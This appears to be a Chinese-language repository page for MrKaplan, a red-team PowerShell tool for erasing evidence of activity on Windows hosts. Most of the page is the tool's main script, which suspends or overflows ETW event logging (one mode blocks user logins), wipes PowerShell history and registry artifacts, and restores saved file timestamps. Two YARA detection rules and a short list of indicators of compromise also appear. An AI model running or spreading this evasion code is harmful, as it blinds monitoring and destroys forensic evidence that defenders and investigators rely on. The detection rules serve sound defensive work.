Idov31/MrKaplan
描述
MrKaplan 是一种工具,旨在通过清除执行证据来帮助红队人员保持隐藏状态。它的工作原理是保存运行时间、文件快照等信息,并将每个证据与相关用户相关联。
这个工具的灵感来自MoonWalk,这是一个用于 Unix 机器的类似工具。
您可以在wiki页面中阅读有关它的更多信息。
功能
- 停止事件记录
- 清除文件工件
- 清除注册表工件
- 可以为多个用户运行
- 可以作为用户和管理员运行(强烈建议以管理员身份运行)
- 可以保存文件的时间戳
-
用法
在计算机上开始操作之前,使用开始标志运行 MrKaplan,每当您完成时再次使用结束标志运行它。
- 不要删除 MrKaplan 注册表项,否则 MrKaplan 将无法使用该信息。
代码
YARA
/*
A rule to detect MrKaplan.
Author: Ido Veltzman (Idov31)
Date: 15-04-2022
*/
rule MrKaplanStandalone {
meta:
description = "A rule to detect MrKaplanStandalone."
author = "Idov31"
date = "2022-04-15"
strings:
$imports1 = /[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(.*) | Invoke-Expression/i nocase
$imports2 = /[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(.*) | iex/i nocase
$s1 = "MrKaplan.ps1" ascii nocase
$s2 = "Clear-Evidence" ascii nocase
$s3 = "EventLogSettings" ascii nocase
$s4 = "runAsUser" ascii nocase
$s5 = "PSHistory" ascii nocase
$s6 = "C:\\Users\\$($user)\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt" ascii nocase
$s7 = "HKCU:\Software\MrKaplan" ascii nocase
$s8 = "Invoke-StompFiles" ascii nocase
$s9 = "Clear-Files" ascii nocase
$s10 = "Clear-Registry" ascii nocase
$s11 = "Invoke-RestoreEtw" ascii nocase
$s12 = "Invoke-LogFileToStomp" ascii nocase
$s13 = "Invoke-SuspendEtw" ascii nocase
conditions:
any of $imports* and 3 of ($s*)
}
rule MrKaplan {
meta:
description = "A rule to detect MrKaplan."
author = "Idov31"
date = "2022-04-15"
strings:
$imports1 = "Import-Module .\\Modules\\Registry.psm1" ascii nocase
$imports2 = "Import-Module .\\Modules\\Files.psm1" ascii nocase
$imports3 = "Import-Module .\\Modules\\Eventlogs.psm1" ascii nocase
$imports4 = "Import-Module .\\Modules\\Utils.psm1" ascii nocase
$imports5 = "ipmo .\\Modules\\Registry.psm1" ascii nocase
$imports6 = "ipmo .\\Modules\\Files.psm1" ascii nocase
$imports7 = "ipmo .\\Modules\\Eventlogs.psm1" ascii nocase
$imports8 = "ipmo .\\Modules\\Utils.psm1" ascii nocase
$s1 = "MrKaplan.ps1" ascii nocase
$s2 = "Clear-Evidence" ascii nocase
$s3 = "EventLogSettings" ascii nocase
$s4 = "runAsUser" ascii nocase
$s5 = "PSHistory" ascii nocase
$s6 = "C:\\Users\\$($user)\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt" ascii nocase
$s7 = "HKCU:\Software\MrKaplan" ascii nocase
$s8 = "Invoke-StompFiles" ascii nocase
$s9 = "Clear-Files" ascii nocase
$s10 = "Clear-Registry" ascii nocase
$s11 = "Invoke-RestoreEtw" ascii nocase
$s12 = "Invoke-LogFileToStomp" ascii nocase
$s13 = "Invoke-SuspendEtw" ascii nocase
conditions:
4 of $imports* and 3 of ($s*)
}
PowerShell
param (
[Parameter(Mandatory=$true)]
[String]
$operation,
[String]
$etwBypassMethod,
[String]
$stompedFilePath,
[String[]]
$users,
[String[]]
$exclusions,
[Switch]
$runAsUser = $false
)
Import-Module .\Modules\Registry.psm1
Import-Module .\Modules\Files.psm1
Import-Module .\Modules\Eventlogs.psm1
Import-Module .\Modules\Utils.psm1
$rootKeyPath = "HKCU:\Software\MrKaplan"
$PSDefaultParameterValues['*:Encoding'] = 'utf8'
$usage = "`n[*] Possible Usage:`n`n[*] Show help message:`n`t.\MrKaplan.ps1 help`n`n[*] For config creation and start:`n`t.\MrKaplan.ps1 begin`n`t.\MrKaplan.ps1 begin -Users Reddington,Liz`n`t.\MrKaplan.ps1 begin -Users Reddington`n`t.\MrKaplan.ps1 begin -EtwBypassMethod overflow`n`t.\MrKaplan.ps1 begin -RunAsUser`n`t.\MrKaplan.ps1 begin -Exclusions BamKey, OfficeHistory`n`n[*] For cleanup:`n`t.\MrKaplan.ps1 end`n`n[*] To save file's timestamps:`n`t.\MrKaplan.ps1 timestomp -StompedFilePath C:\path\to\file`n`n"
if (Test-Path "banner.txt") {
$banner = Get-Content -Path "banner.txt" -Raw
Write-Host $banner
}
function New-Config {
param (
[String[]]
$users,
[String]
$etwBypassMethod,
[String[]]
$exclusions
)
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
if (Test-Path $rootKeyPath) {
Write-Host "[-] Config already exists, please delete the current and rerun." -ForegroundColor Red
return $false
}
New-Item -Path $rootKeyPath
New-Item -Path $rootKeyPath -Name "Users"
if (-not $exclusions) {
$exclusions = @()
}
# Stopping the event logging.
if (-not $runAsUser) {
New-ItemProperty -Path $rootKeyPath -Name "RunAsUser" -PropertyType "DWord" -Value $false
if (-not $exclusions.Contains("eventlogs")) {
Write-Host "[*] Stopping event logging..." -ForegroundColor Blue
if ($etwBypassMethod -eq "overflow") {
Write-Host "[*] This method won't allow any regular user to log in until you end MrKaplan." -ForegroundColor Yellow
if ($(Read-Host "Are you sure? [y/n]") -eq "y") {
$etwMetadata = Get-EventLogsSettings
if ($etwMetadata.Count -eq 0) {
return $false
}
if (!$(Clear-EventLogging)) {
return $false
}
New-Item -Path $rootKeyPath -Name "EventLogSettings"
foreach ($setting in $etwMetadata.GetEnumerator()) {
New-ItemProperty -Path "$($rootKeyPath)\EventLogSettings" -Name $setting.Name -Value $setting.Value
}
}
else {
Write-Host "[-] Exiting..." -ForegroundColor Red
return $false
}
}
elseif ($etwBypassMethod -eq "suspend" -or $etwBypassMethod -eq "") {
$etwMetadata = Invoke-SuspendEtw
if ($etwMetadata.Count -eq 0) {
return $false
}
New-Item -Path $rootKeyPath -Name "EventLogSettings"
foreach ($setting in $etwMetadata[1].GetEnumerator()) {
New-ItemProperty -Path "$($rootKeyPath)\EventLogSettings" -Name $setting.Name -Value $setting.Value
}
}
else {
Write-Host "[-] Unknown ETW patching method, exiting..." -ForegroundColor Red
return $false
}
Write-Host "[+] Stopped event logging." -ForegroundColor Green
}
if (-not $exclusions.Contains("appcompatcache")) {
Copy-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" -Destination "$($rootKeyPath)\AppCompatCache" -Force -Recurse
}
}
else {
New-ItemProperty -Path $rootKeyPath -Name "RunAsUser" -Value $true
}
if ($users) {
if (!$runAsUser) {
$users.Add($env:USERNAME)
}
else {
Write-Host "[-] Cannot use both run as user and users!" -ForegroundColor Red
return $false
}
}
else {
$users = @($env:USERNAME)
}
# Saving current time.
New-ItemProperty -Path $rootKeyPath -Name "Time" -Value $(Get-Date).DateTime
# Saving user data.
$comDlg32Path = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32"
foreach ($user in $users) {
if ($exclusions.Contains("pshistory")) {
$powershellHistory = ""
}
else {
$powershellHistoryFile = "C:\Users\$($user)\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $powershellHistoryFile) {
$powershellHistory = [Convert]::ToBase64String([IO.File]::ReadAllBytes($powershellHistoryFile))
}
else {
$powershellHistory = ""
}
}
New-Item -Path "$($rootKeyPath)\Users" -Name $user
New-ItemProperty -Path "$($rootKeyPath)\Users\$($user)" -Name "PSHistory" -Value $powershellHistory
if (-not $exclusions.Contains("comdlg32")) {
$sid = $(New-Object System.Security.Principal.NTAccount($user)).Translate([System.Security.Principal.SecurityIdentifier]).Value
if (!(Test-Path "HKU:\$($sid)\$($comDlg32Path)")) {
continue
}
Copy-Item "HKU:\$($sid)\$($comDlg32Path)" -Destination "$($rootKeyPath)\Users\$($user)" -Force -Recurse
}
}
New-ItemProperty -Path $rootKeyPath -Name "Exclusions" -Value $exclusions
return $true
}
function Clear-Evidence {
$result = $true
# Parsing the config.
if (-not (Test-Path $rootKeyPath)) {
Write-Host "[-] Config doesn't exist" -ForegroundColor Red
return $false
}
# Running the modules on each user.
Write-Host "[*] Cleaning logs..." -ForegroundColor Blue
$users = $(Get-ChildItem -Path "$($rootKeyPath)\Users" | Select-Object PSChildName).PSChildName
$runAsUser =$(Get-ItemProperty -Path $rootKeyPath -Name "RunAsUser").RunAsUser
$time = $(Get-ItemProperty -Path $rootKeyPath -Name "Time").Time
$exclusions = $(Get-ItemProperty -Path $rootKeyPath -Name "Exclusions").Exclusions
# Stomping the files.
$filesToStomp = @{}
if (Test-Path "$($rootKeyPath)\StompedFiles") {
$regFilesToStomp = Get-ItemProperty "$($rootKeyPath)\StompedFiles"
$regFilesToStomp.PsObject.Properties |
ForEach-Object {
$filesToStomp[$_.Name] = $_.Value
}
}
Invoke-StompFiles $filesToStomp
foreach ($user in $users) {
$psHistory = $(Get-ItemProperty -Path "$($rootKeyPath)\Users\$($user)" -Name "PSHistory").PSHistory
if (-not $(Clear-Files $time $psHistory $user $runAsUser $exclusions)) {
Write-Host "[-] Failed to clean files for $($user)." -ForegroundColor Red
$result = $false
}
}
if (!$(Clear-Registry $time $users $runAsUser $exclusions $rootKeyPath)) {
Write-Host "[-] Failed to cleanup the registry." -ForegroundColor Red
$result = $false
}
# Restoring the event logging.
if (!$runAsUser -and -not $exclusions.Contains("eventlogs")) {
Write-Host "[*] Restoring event logging..." -ForegroundColor Blue
if (Test-Path "$($rootKeyPath)\EventLogSettings") {
$etwMetadata = @{}
$regEventLog = Get-ItemProperty "$($rootKeyPath)\EventLogSettings"
$regEventLog.PsObject.Properties |
ForEach-Object {
$etwMetadata[$_.Name] = $_.Value
}
if (!$(Invoke-RestoreEtw $etwMetadata)) {
Write-Host "[-] Failed to restore the eventlogging." -ForegroundColor Red
$result = $false
}
}
}
if ($result) {
Write-Host "[+] Restored! Be careful with your actions now." -ForegroundColor Green
Remove-Item -Path $rootKeyPath -Recurse -Force
}
else {
Write-Host "[!] Finished with partial restoration." -ForegroundColor Yellow
}
return $result
}
if ($operation -eq "begin") {
for ($i = 0; $i -lt $exclusions.Count; $i++) {
$exclusions[$i] = $exclusions[$i].ToLower()
}
if (New-Config $users $etwBypassMethod $exclusions) {
Write-Host "`n[+] Saved required information!`n[+] You can do your operations." -ForegroundColor Green
}
else {
Write-Host "`n[-] Failed to create config file." -ForegroundColor Red
}
}
elseif ($operation -eq "end") {
if (Clear-Evidence) {
Write-Host "`n[+] All evidences cleared!" -ForegroundColor Green
}
else {
Write-Host "`n[-] Failed to clear all evidences." -ForegroundColor Red
}
}
elseif ($operation -eq "timestomp") {
if (Invoke-LogFileToStomp $rootKeyPath $stompedFilePath) {
Write-Host "`n[+] Saved file's timestamps." -ForegroundColor Green
}
else {
Write-Host "`n[-] Failed to save timestamps." -ForegroundColor Red
}
}
elseif ($operation -eq "help") {
Write-Host $usage -ForegroundColor Blue
}
else {
Write-Host "`n[!] Invalid Usage!" -ForegroundColor Red
Write-Host $usage -ForegroundColor Blue
}
IoCs
- 访问 wiki 页面中提到的工件的 Powershell 进程。
- Powershell 导入奇怪的 base64 blob。
- 执行令牌操作的 Powershell 进程。
MrKaplan 的注册表项:HKCU:\Software\MrKaplan。
致谢
- Phant0m
- ForensicArtifacts
免责声明
对于由于此项目而对您的计算机/程序造成的任何损害,我概不负责。我很高兴接受贡献,提出拉取请求,我会审查它!